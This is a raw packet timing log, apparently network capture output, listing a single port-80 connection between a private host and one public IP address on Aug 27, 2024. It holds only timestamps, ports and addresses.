Aug 27, 2024 09:49:38.274250031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274285078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274306059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274425983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274435997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274447918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274485111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274518967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274529934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274540901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274542093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274560928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274569035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274609089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274687052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274698019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274712086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274722099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274734974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274745941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274755955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274774075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274794102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274813890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274823904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274835110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274849892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274863005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274880886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274907112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274930000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274941921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274952888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274965048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274972916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.274981976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.274995089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275007010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275021076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275032043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275099039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275113106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275124073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275140047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275156021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275166988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275168896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275181055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275192022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275203943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275228977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275239944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275329113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275340080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275352955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275365114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275377035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275387049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275443077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275466919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275468111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275480032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275490046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275511026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275521040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275522947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275533915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275547028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275547028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275573969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275758028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275774002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275787115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275796890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275809050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275819063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275830984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275841951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.275854111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.275878906 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359129906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359144926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359163046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359174013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359185934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359199047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359211922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359249115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359347105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359523058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359534025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359560013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359570980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359575987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359584093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359596968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359600067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359611988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359659910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359679937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359688997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359692097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359703064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359714985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359724045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359730005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359762907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359857082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359868050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359880924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359893084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359906912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359906912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359927893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359987020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.359987020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.359998941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360009909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360022068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360037088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360044956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360070944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360184908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360194921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360204935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360217094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360228062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360239983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360263109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360285997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360347986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360358953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360368967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360380888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360392094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360403061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360428095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360445976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360497952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360508919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360521078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360529900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360547066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360594988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360614061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360625029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360630989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360642910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360662937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360838890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360850096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360860109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360887051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360905886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360917091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360929012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.360939980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360972881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.360991955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361004114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361013889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361026049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361032963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361037016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361047983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361057043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361058950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361072063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361076117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361095905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361207962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361218929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361228943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361241102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361252069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361299038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361443043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361453056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361464024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361512899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361521959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361525059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361536026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361546993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361547947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361566067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361576080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361584902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361591101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361618996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361638069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361648083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361665010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361675024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.361690998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.361712933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362190962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362226963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362237930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362266064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362349033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362360954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362373114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362385035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362392902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362416983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362505913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362523079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362535954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362548113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362550020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362560987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362571001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362575054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362582922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362593889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362605095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362608910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362627983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362649918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362849951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362860918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362870932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362881899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362894058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362895012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362905025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362912893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362916946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362927914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362938881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362946987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.362948895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.362976074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363022089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363173008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363183975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363193989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363205910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363218069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363229036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363235950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363240004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363251925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363265038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363267899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363298893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363385916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363396883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363409042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363418102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.363435030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.363488913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446053028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446082115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446093082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446140051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446151972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446163893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446175098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446186066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446207047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446253061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446393013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446404934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446415901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446453094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446490049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446502924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446513891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446526051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446531057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446538925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446588039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446613073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446635962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446647882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446660042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446671009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446686029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446743965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446775913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446787119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446799994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446813107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446824074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446850061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446923971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446934938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446945906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446957111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446965933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.446968079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.446980000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447009087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.447031021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.447110891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447122097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447133064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447144985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447160959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447177887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.447179079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447253942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.447272062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447283983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447302103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447314024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447324991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447338104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447349072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447362900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447376013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.447376013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.447407007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449542046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449568987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449579954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449604034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449620008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449654102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449666023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449677944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449712038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449763060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449774027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449784994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449800014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449826956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.449918032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449928999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449939966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449951887 CEST	80	49715	188.114.96.3	192.168.2.8
